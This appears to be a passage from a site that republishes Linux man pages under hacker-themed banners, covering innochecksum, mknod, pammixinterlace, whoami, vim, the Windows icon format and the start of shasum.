               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

2151 - Linux cli command innochecksum

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command innochecksum and provides detailed information about the command innochecksum, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the innochecksum.

NAME 🖥️ innochecksum 🖥️

offline InnoDB file checksum utility

SYNOPSIS

innochecksum [options] file_name

DESCRIPTION

innochecksum prints checksums for InnoDB files. This tool reads an InnoDB tablespace file, calculates the checksum for each page, compares the calculated checksum to the stored checksum, and reports mismatches, which indicate damaged pages. It was originally developed to speed up verifying the integrity of tablespace files after power outages but can also be used after file copies. Because checksum mismatches will cause InnoDB to deliberately shut down a running server, it can be preferable to use this tool rather than waiting for a server in production usage to encounter the damaged pages.

innochecksum cannot be used on tablespace files that the server already has open. For such files, you should use CHECK TABLE to check tables within the tablespace.

If checksum mismatches are found, you would normally restore the tablespace from backup or start the server and attempt to use mariadb-dump to make a backup of the tables within the tablespace.

Invoke innochecksum like this:

shell> innochecksum [options] file_name

innochecksum supports the following options. For options that refer to page numbers, the numbers are zero-based.

·

-?, –help

Displays help and exits.

·

-a num**, –allow-mismatches=#**

Maximum checksum mismatch allowed before innochecksum terminates. Defaults to 0, which terminates on the first mismatch.

·

-c, –count

Print a count of the number of pages in the file.

·

-e num**, –end-page=#**

End at this page number.

·

-i, –per-page-details

Print out per-page detail information.

·

-I, –info

Synonym for –help.

·

-f, –leaf

Examine leaf index pages.

·

-l fn**, –log=fn**

Log output to the specified filename, fn.

·

-m num**, –merge=#**

Leaf page count if merge given number of consecutive pages.

·

-n, –no-check

Ignore the checksum verification. Until MariaDB 10.6, must be used with the –write option.

·

-p num**, –page-num=#**

Check only this page number.

·

-D name**, –page-type-dump=name**

Dump the page type info for each page in a tablespace.

·

-S, –page-type-summary

Display a count of each page type in a tablespace.

·

-s num**, –start-page**

Start at this page number.

·

-u, –skip-corrupt

Skip corrupt pages.

·

-C name**, –strict-check=name**

Specify the strict checksum algorithm. One of: crc32, innodb, none. If not specified, validates against innodb, crc32 and none. Removed in MariaDB 10.6.

·

-w name**, –write=name**

Rewrite the checksum algorithm. One of crc32, innodb, none. An exclusive lock is obtained during use. Use in conjunction with the -no-check option to rewrite an invalid checksum. Removed in MariaDB 10.6.

·

-v, –verbose

Verbose mode; print a progress indicator every five seconds.

·

-V, –version

Displays version information and exits.

COPYRIGHT

Copyright 2007-2008 MySQL AB, 2008-2010 Sun Microsystems, Inc., 2010-2023 MariaDB Foundation

This documentation is free software; you can redistribute it and/or modify it only under the terms of the GNU General Public License as published by the Free Software Foundation; version 2 of the License.

This documentation is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details.

You should have received a copy of the GNU General Public License along with the program; if not, write to the Free Software Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1335 USA or see http://www.gnu.org/licenses/.

SEE ALSO

For more information, please refer to the MariaDB Knowledge Base, available online at https://mariadb.com/kb/

AUTHOR

MariaDB Foundation (http://www.mariadb.org/).

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

2152 - Linux cli command mknod

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command mknod and provides detailed information about the command mknod, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the mknod.

NAME 🖥️ mknod 🖥️

make block or character special files

SYNOPSIS

mknod [OPTION]… NAME TYPE [MAJOR MINOR]

DESCRIPTION

Create the special file NAME of the given TYPE.

Mandatory arguments to long options are mandatory for short options too.

-m, –mode=MODE
set file permission bits to MODE, not a=rw - umask

-Z
set the SELinux security context to default type

–context[=CTX]
like -Z, or if CTX is specified then set the SELinux or SMACK security context to CTX

–help
display this help and exit

–version
output version information and exit

Both MAJOR and MINOR must be specified when TYPE is b, c, or u, and they must be omitted when TYPE is p. If MAJOR or MINOR begins with 0x or 0X, it is interpreted as hexadecimal; otherwise, if it begins with 0, as octal; otherwise, as decimal. TYPE may be:

b
create a block (buffered) special file

c, u
create a character (unbuffered) special file

p
create a FIFO

NOTE: your shell may have its own version of mknod, which usually supersedes the version described here. Please refer to your shell’s documentation for details about the options it supports.

AUTHOR

Written by David MacKenzie.

REPORTING BUGS

GNU coreutils online help: <https://www.gnu.org/software/coreutils/>
Report any translation bugs to <https://translationproject.org/team/>

COPYRIGHT

Copyright © 2023 Free Software Foundation, Inc. License GPLv3+: GNU GPL version 3 or later <https://gnu.org/licenses/gpl.html>.
This is free software: you are free to change and redistribute it. There is NO WARRANTY, to the extent permitted by law.

SEE ALSO

mknod(2)

Full documentation <https://www.gnu.org/software/coreutils/mknod>
or available locally via: info ‘(coreutils) mknod invocation’

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

2153 - Linux cli command pammixinterlace

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command pammixinterlace and provides detailed information about the command pammixinterlace, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the pammixinterlace.

.

NAME 🖥️ pammixinterlace 🖥️

mix adjacent lines to merge interlaced images

SYNOPSIS

pammixinterlace

[-filter={linear, fir, ffmpeg}]

[-adaptive]

[infile]

DESCRIPTION

This program is part of Netpbm(1) .

pammixinterlace is meant to operate on an image which is the interlacing of two images, where raster rows 0, 2, 4, etc. are from one image and rows 1, 3, 5, etc. are from another. (See below for why you might expect to encounter such an image).

pammixinterlace makes each row of the output a mixture of the corresponding row of the input and its two neighbors. It uses half of the main row and a quarter each of the two neighbor rows.

This can be useful if the image is a video capture from an interlaced video source. In that case, each row shows the subject 1/60 second before or after the two rows that surround it. If the subject is moving, this can detract from the quality of the image.

In video data streams, you often find each frame contains only half the rows of the image – the odd half or the even half. The displayer of the stream displays the rows in their proper positions on a CRT as they come in. When you display the rows in this order, the CRT has less flicker because a particular area of the screen gets refreshed twice as often. In the process of capturing such a stream, computers often generate the interlaced image of the type that pammixinterlace works with. But this interlaced image, when displayed on a CRT, does not look the same as if a displayer were rendering the stream directly on a CRT as it arrived, because of the timing of when the various pixels get drawn and subsequently fade. That’s why you need something like pammixinterlace.

You may prefer the effect of simply extracting one of two images. You can do that with pamdeinterlace.

OPTIONS

In addition to the options common to all programs based on libnetpbm (most notably -quiet, see Common Options ), pammixinterlace recognizes the following command line options:

-filter={linear,fir,ffmpeg}
This option chooses between one of the three filtering mechanisms. linear is a linear-blend formula. fir is a size-5 FIR low-pass filter, and ffmpeg is a formula pulled from the documentation of the program ffmpeg .

The default is fir.

-adaptive
This option turns on “adaptive” filtering mode. In this mode pammixinterlace modifies only pixels that are obviously part of a “comb” pattern.

SEE ALSO

pamdeinterlace(1) , pam(1) pnm(1)

DOCUMENT SOURCE

This manual page was generated by the Netpbm tool ‘makeman’ from HTML source. The master documentation is at

http://netpbm.sourceforge.net/doc/pammixinterlace.html

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

2154 - Linux cli command whoami

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command whoami and provides detailed information about the command whoami, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the whoami.

NAME 🖥️ whoami 🖥️

print effective user name

SYNOPSIS

whoami [OPTION]…

DESCRIPTION

Print the user name associated with the current effective user ID. Same as id -un.

–help
display this help and exit

–version
output version information and exit

AUTHOR

Written by Richard Mlynarik.

REPORTING BUGS

GNU coreutils online help: <https://www.gnu.org/software/coreutils/>
Report any translation bugs to <https://translationproject.org/team/>

COPYRIGHT

Copyright © 2023 Free Software Foundation, Inc. License GPLv3+: GNU GPL version 3 or later <https://gnu.org/licenses/gpl.html>.
This is free software: you are free to change and redistribute it. There is NO WARRANTY, to the extent permitted by law.

SEE ALSO

Full documentation <https://www.gnu.org/software/coreutils/whoami>
or available locally via: info ‘(coreutils) whoami invocation’

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

2155 - Linux cli command vi

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command vi and provides detailed information about the command vi, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the vi.

NAME 🖥️ vi 🖥️

Vi IMproved, a programmer’s text editor

SYNOPSIS

vim [options] [file ..]
vim [options] -
vim [options] -t tag
vim [options] -q [errorfile]

ex
view
gvim gview evim eview
rvim rview rgvim rgview

DESCRIPTION

Vim is a text editor that is upwards compatible to Vi. It can be used to edit all kinds of plain text. It is especially useful for editing programs.

There are a lot of enhancements above Vi: multi level undo, multi windows and buffers, syntax highlighting, command line editing, filename completion, on-line help, visual selection, etc.. See “:help vi_diff.txt” for a summary of the differences between Vim and Vi.

While running Vim a lot of help can be obtained from the on-line help system, with the “:help” command. See the ON-LINE HELP section below.

Most often Vim is started to edit a single file with the command

vim file

More generally Vim is started with:

vim [options] [filelist]

If the filelist is missing, the editor will start with an empty buffer. Otherwise exactly one out of the following four may be used to choose one or more files to be edited.

file ..
A list of filenames. The first one will be the current file and read into the buffer. The cursor will be positioned on the first line of the buffer. You can get to the other files with the “:next” command. To edit a file that starts with a dash, precede the filelist with “–”.

-
The file to edit is read from stdin. Commands are read from stderr, which should be a tty.

-t {tag}
The file to edit and the initial cursor position depends on a “tag”, a sort of goto label. {tag} is looked up in the tags file, the associated file becomes the current file and the associated command is executed. Mostly this is used for C programs, in which case {tag} could be a function name. The effect is that the file containing that function becomes the current file and the cursor is positioned on the start of the function. See “:help tag-commands”.

-q [errorfile]
Start in quickFix mode. The file [errorfile] is read and the first error is displayed. If [errorfile] is omitted, the filename is obtained from the ’errorfile’ option (defaults to “AztecC.Err” for the Amiga, “errors.err” on other systems). Further errors can be jumped to with the “:cn” command. See “:help quickfix”.

Vim behaves differently, depending on the name of the command (the executable may still be the same file).

vim
The “normal” way, everything is default.

ex
Start in Ex mode. Go to Normal mode with the “:vi” command. Can also be done with the “-e” argument.

view
Start in read-only mode. You will be protected from writing the files. Can also be done with the “-R” argument.

gvim gview
The GUI version. Starts a new window. Can also be done with the “-g” argument.

evim eview
The GUI version in easy mode. Starts a new window. Can also be done with the “-y” argument.

rvim rview rgvim rgview
Like the above, but with restrictions. It will not be possible to start shell commands, or suspend Vim. Can also be done with the “-Z” argument.

OPTIONS

The options may be given in any order, before or after filenames. Options without an argument can be combined after a single dash.

+[num]
For the first file the cursor will be positioned on line “num”. If “num” is missing, the cursor will be positioned on the last line.

+/{pat}
For the first file the cursor will be positioned in the line with the first occurrence of {pat}. See “:help search-pattern” for the available search patterns.

+{command}
-c {command}
{command} will be executed after the first file has been read. {command} is interpreted as an Ex command. If the {command} contains spaces it must be enclosed in double quotes (this depends on the shell that is used). Example: vim “+set si” main.c
Note: You can use up to 10 “+” or “-c” commands.

-S {file}
{file} will be sourced after the first file has been read. This is equivalent to -c “source {file}”. {file} cannot start with ‘-’. If {file} is omitted “Session.vim” is used (only works when -S is the last argument).

–cmd {command}
Like using “-c”, but the command is executed just before processing any vimrc file. You can use up to 10 of these commands, independently from “-c” commands.

-A
If Vim has been compiled with ARABIC support for editing right-to-left oriented files and Arabic keyboard mapping, this option starts Vim in Arabic mode, i.e. ‘arabic’ is set. Otherwise an error message is given and Vim aborts.

-b
Binary mode. A few options will be set that makes it possible to edit a binary or executable file.

-C
Compatible. Set the ‘compatible’ option. This will make Vim behave mostly like Vi, even though a .vimrc file exists.

-d
Start in diff mode. There should between two to eight file name arguments. Vim will open all the files and show differences between them. Works like vimdiff(1).

-d {device}, -dev {device}
Open {device} for use as a terminal. Only on the Amiga. Example: “-d con:20/30/600/150”.

-D
Debugging. Go to debugging mode when executing the first command from a script.

-e
Start Vim in Ex mode, just like the executable was called “ex”.

-E
Start Vim in improved Ex mode, just like the executable was called “exim”.

-f
Foreground. For the GUI version, Vim will not fork and detach from the shell it was started in. On the Amiga, Vim is not restarted to open a new window. This option should be used when Vim is executed by a program that will wait for the edit session to finish (e.g. mail). On the Amiga the “:sh” and “:!” commands will not work.

–nofork
Foreground. For the GUI version, Vim will not fork and detach from the shell it was started in.

-F
If Vim has been compiled with FKMAP support for editing right-to-left oriented files and Farsi keyboard mapping, this option starts Vim in Farsi mode, i.e. ‘fkmap’ and ‘rightleft’ are set. Otherwise an error message is given and Vim aborts.

-g
If Vim has been compiled with GUI support, this option enables the GUI. If no GUI support was compiled in, an error message is given and Vim aborts.

–gui-dialog-file {name}
When using the GUI, instead of showing a dialog, write the title and message of the dialog to file {name}. The file is created or appended to. Only useful for testing, to avoid that the test gets stuck on a dialog that can’t be seen. Without the GUI the argument is ignored.

–help, -h, -?
Give a bit of help about the command line arguments and options. After this Vim exits.

-H
If Vim has been compiled with RIGHTLEFT support for editing right-to-left oriented files and Hebrew keyboard mapping, this option starts Vim in Hebrew mode, i.e. ‘hkmap’ and ‘rightleft’ are set. Otherwise an error message is given and Vim aborts.

-i {viminfo}
Specifies the filename to use when reading or writing the viminfo file, instead of the default “~/.viminfo”. This can also be used to skip the use of the .viminfo file, by giving the name “NONE”.

-L
Same as -r.

-l
Lisp mode. Sets the ’lisp’ and ‘showmatch’ options on.

-m
Modifying files is disabled. Resets the ‘write’ option. You can still modify the buffer, but writing a file is not possible.

-M
Modifications not allowed. The ‘modifiable’ and ‘write’ options will be unset, so that changes are not allowed and files can not be written. Note that these options can be set to enable making modifications.

-N
No-compatible mode. Resets the ‘compatible’ option. This will make Vim behave a bit better, but less Vi compatible, even though a .vimrc file does not exist.

-n
No swap file will be used. Recovery after a crash will be impossible. Handy if you want to edit a file on a very slow medium (e.g. floppy). Can also be done with “:set uc=0”. Can be undone with “:set uc=200”.

-nb
Become an editor server for NetBeans. See the docs for details.

-o[N]
Open N windows stacked. When N is omitted, open one window for each file.

-O[N]
Open N windows side by side. When N is omitted, open one window for each file.

-p[N]
Open N tab pages. When N is omitted, open one tab page for each file.

-P {parent-title}
Win32 GUI only: Specify the title of the parent application. When possible, Vim will run in an MDI window inside the application. {parent-title} must appear in the window title of the parent application. Make sure that it is specific enough. Note that the implementation is still primitive. It won’t work with all applications and the menu doesn’t work.

-R
Read-only mode. The ‘readonly’ option will be set. You can still edit the buffer, but will be prevented from accidentally overwriting a file. If you do want to overwrite a file, add an exclamation mark to the Ex command, as in “:w!”. The -R option also implies the -n option (see above). The ‘readonly’ option can be reset with “:set noro”. See “:help ‘readonly’”.

-r
List swap files, with information about using them for recovery.

-r {file}
Recovery mode. The swap file is used to recover a crashed editing session. The swap file is a file with the same filename as the text file with “.swp” appended. See “:help recovery”.

-s
Silent mode. Only when started as “Ex” or when the “-e” option was given before the “-s” option.

-s {scriptin}
The script file {scriptin} is read. The characters in the file are interpreted as if you had typed them. The same can be done with the command “:source! {scriptin}”. If the end of the file is reached before the editor exits, further characters are read from the keyboard.

-T {terminal}
Tells Vim the name of the terminal you are using. Only required when the automatic way doesn’t work. Should be a terminal known to Vim (builtin) or defined in the termcap or terminfo file.

–not-a-term
Tells Vim that the user knows that the input and/or output is not connected to a terminal. This will avoid the warning and the two second delay that would happen.

–ttyfail
When stdin or stdout is not a a terminal (tty) then exit right away.

-u {vimrc}
Use the commands in the file {vimrc} for initializations. All the other initializations are skipped. Use this to edit a special kind of files. It can also be used to skip all initializations by giving the name “NONE”. See “:help initialization” within vim for more details.

-U {gvimrc}
Use the commands in the file {gvimrc} for GUI initializations. All the other GUI initializations are skipped. It can also be used to skip all GUI initializations by giving the name “NONE”. See “:help gui-init” within vim for more details.

-V[N]
Verbose. Give messages about which files are sourced and for reading and writing a viminfo file. The optional number N is the value for ‘verbose’. Default is 10.

-V[N]{filename}
Like -V and set ‘verbosefile’ to {filename}. The result is that messages are not displayed but written to the file {filename}. {filename} must not start with a digit.

–log {filename}
If Vim has been compiled with eval and channel feature, start logging and write entries to {filename}. This works like calling ch_logfile({filename}, ‘ao’) very early during startup.

-v
Start Vim in Vi mode, just like the executable was called “vi”. This only has effect when the executable is called “ex”.

-w{number}
Set the ‘window’ option to {number}.

-w {scriptout}
All the characters that you type are recorded in the file {scriptout}, until you exit Vim. This is useful if you want to create a script file to be used with “vim -s” or “:source!”. If the {scriptout} file exists, characters are appended.

-W {scriptout}
Like -w, but an existing file is overwritten.

-x
Use encryption when writing files. Will prompt for a crypt key.

-X
Don’t connect to the X server. Shortens startup time in a terminal, but the window title and clipboard will not be used.

-y
Start Vim in easy mode, just like the executable was called “evim” or “eview”. Makes Vim behave like a click-and-type editor.

-Z
Restricted mode. Works like the executable starts with “r”.


Denotes the end of the options. Arguments after this will be handled as a file name. This can be used to edit a filename that starts with a ‘-’.

–clean
Do not use any personal configuration (vimrc, plugins, etc.). Useful to see if a problem reproduces with a clean Vim setup.

–echo-wid
GTK GUI only: Echo the Window ID on stdout.

–literal
Take file name arguments literally, do not expand wildcards. This has no effect on Unix where the shell expands wildcards.

–noplugin
Skip loading plugins. Implied by -u NONE.

–remote
Connect to a Vim server and make it edit the files given in the rest of the arguments. If no server is found a warning is given and the files are edited in the current Vim.

–remote-expr {expr}
Connect to a Vim server, evaluate {expr} in it and print the result on stdout.

–remote-send {keys}
Connect to a Vim server and send {keys} to it.

–remote-silent
As –remote, but without the warning when no server is found.

–remote-wait
As –remote, but Vim does not exit until the files have been edited.

–remote-wait-silent
As –remote-wait, but without the warning when no server is found.

–serverlist
List the names of all Vim servers that can be found.

–servername {name}
Use {name} as the server name. Used for the current Vim, unless used with a –remote argument, then it’s the name of the server to connect to.

–socketid {id}
GTK GUI only: Use the GtkPlug mechanism to run gvim in another window.

–startuptime {file}
During startup write timing messages to the file {fname}.

–version
Print version information and exit.

–windowid {id}
Win32 GUI only: Make gvim try to use the window {id} as a parent, so that it runs inside that window.

ON-LINE HELP

Type “:help” in Vim to get started. Type “:help subject” to get help on a specific subject. For example: “:help ZZ” to get help for the “ZZ” command. Use <Tab> and CTRL-D to complete subjects (":help cmdline-completion"). Tags are present to jump from one place to another (sort of hypertext links, see “:help”). All documentation files can be viewed in this way, for example “:help syntax.txt”.

FILES

/usr/local/share/vim/vim??/doc/*.txt
The Vim documentation files. Use “:help doc-file-list” to get the complete list.
vim?? is short version number, like vim91 for Vim 9.1

/usr/local/share/vim/vim??/doc/tags
The tags file used for finding information in the documentation files.

/usr/local/share/vim/vim??/syntax/syntax.vim
System wide syntax initializations.

/usr/local/share/vim/vim??/syntax/*.vim
Syntax files for various languages.

/usr/local/share/vim/vimrc
System wide Vim initializations.

~/.vimrc, ~/.vim/vimrc, $XDG_CONFIG_HOME/vim/vimrc
Your personal Vim initializations (first one found is used).

/usr/local/share/vim/gvimrc
System wide gvim initializations.

~/.gvimrc, ~/.vim/gvimrc, $XDG_CONFIG_HOME/vim/gvimrc
Your personal gvim initializations (first one found is used).

/usr/local/share/vim/vim??/optwin.vim
Script used for the “:options” command, a nice way to view and set options.

/usr/local/share/vim/vim??/menu.vim
System wide menu initializations for gvim.

/usr/local/share/vim/vim??/bugreport.vim
Script to generate a bug report. See “:help bugs”.

/usr/local/share/vim/vim??/filetype.vim
Script to detect the type of a file by its name. See “:help ‘filetype’”.

/usr/local/share/vim/vim??/scripts.vim
Script to detect the type of a file by its contents. See “:help ‘filetype’”.

/usr/local/share/vim/vim??/print/*.ps
Files used for PostScript printing.

For recent info read the VIM home page:
<URL:http://www.vim.org/>

SEE ALSO

vimtutor(1)

AUTHOR

Most of Vim was made by Bram Moolenaar, with a lot of help from others. See “:help credits” in Vim.
Vim is based on Stevie, worked on by: Tim Thompson, Tony Andrews and G.R. (Fred) Walter. Although hardly any of the original code remains.

BUGS

Probably. See “:help todo” for a list of known problems.

Note that a number of things that may be regarded as bugs by some, are in fact caused by a too-faithful reproduction of Vi’s behaviour. And if you think other things are bugs “because Vi does it differently”, you should take a closer look at the vi_diff.txt file (or type :help vi_diff.txt when in Vim). Also have a look at the ‘compatible’ and ‘cpoptions’ options.

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

2156 - Linux cli command winicon

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command winicon and provides detailed information about the command winicon, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the winicon.

.

NAME 🖥️ winicon 🖥️

DESCRIPTION

A Microsoft Windows icon file contains one or more images, at resolutions up to 256 by 256 pixels and various bpp values. The images are encoded either as Portable Network Graphics file (PNG), or in a format similar to Microsoft’s BMP format.

If encoded as BMP, the image includes an “AND mask”, which contains 1-bit transparency data. It may also contain additional 8-bit transparency data together with the color information.

Color Depth

Except for the 16 bits per pixel images and images with bit fields, which both are rare, the colors in all BMP encoded images are RGB with 8 bits per channel. Images with bpp values lower than 16 use a palette.

I.e. the bpp value gives the number of distinct colors, not the color depth.

XOR Mask and AND Mask

BMP encoded images contain two pixel maps: The so-called “XOR mask” stores the color information for each pixel, and the “AND mask” stores the transparency belonging to it.

The names and the function of these maps are most easily understood by looking at how a 1-bpp icon image is rendered on a monochrome screen: The pixels on the screen are logically AND-ed with the bits on the AND mask, then the result is logically XOR-ed with the bits on the XOR mask.

The result is that if a bit on the AND mask is reset, the corresponding bit on the XOR mask determines the color of the pixel on the screen. If a bit in the AND mask is set and the corresponding bit in the XOR mask is black (reset), the image is transparent. Finally, if the bits are set in both the AND and XOR mask (the pixel on the XOR mask is white), the background of the screen is inverted.

In color environments, a pixel on the XOR mask outside the opaque area of the image is usually black and sometimes white, but a color other than black and white will hardly give predictable results.

Since Windows XP, there may also be an 8-bit transparency channel in 32-bpp BMP encoded icon images. The AND mask, however, is still required and used e.g. for generating shadows.

PNG encoded images don’t contain AND masks. While rendering a PNG encoded image, Windows constructs an AND mask on the fly from the transparency channel, if present.

Evolution of Windows Icons

The Windows icon file format has undergone some extensions since it was invented in the mid-eighties for Windows 1:

  • Windows 1 used monochrome 32x32 icons only.

  • Windows 3.0 added color icons with bpp values up to 8.

  • Windows 4.0 (a.k.a. Windows95) added option for 32-bpp images and resolutions up to 256 by 256.

  • NT 5.1 (a.k.a. Windows XP) added option for the 8-bit transparency channel in the unused bits of 32-bpp images.

  • NT 6.0 (a.k.a. Windows Vista) added option for PNG encoded images

Common Resolutions and BPP Values

Typical resolutions and bpp values of the Windows shell icons include:

_
OSresolutionsbpp values
Windows 332x321, 4
Windows 416x16, 32x32, 48x484, 8
NT 516x16, 32x32, 48x484, 8, 32
NT 616x16, 32x32, 48x484, 8, 32
24x24, 96x968, 32
256x25632 (PNG encoded)

Within the icon file, the images with low bpp values are usually stored first. With the same bpp value, the images are sorted by resolution, large images first.

MIME Type and File Name Extension

The MIME type of Windows icon files is registered by IANA as image/vnd.microsoft.icon, but the unofficial name image/x-icon is still widely used.

The file name extension (used by Microsoft operating systems as file type identifier) is .ico.

DOCUMENT SOURCE

This manual page was generated by the Netpbm tool ‘makeman’ from HTML source. The master documentation is at

http://netpbm.sourceforge.net/doc/winicon.html

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

2157 - Linux cli command shasum

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command shasum and provides detailed information about the command shasum, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the shasum.

NAME 🖥️ shasum 🖥️

Print or Check SHA Checksums

SYNOPSIS

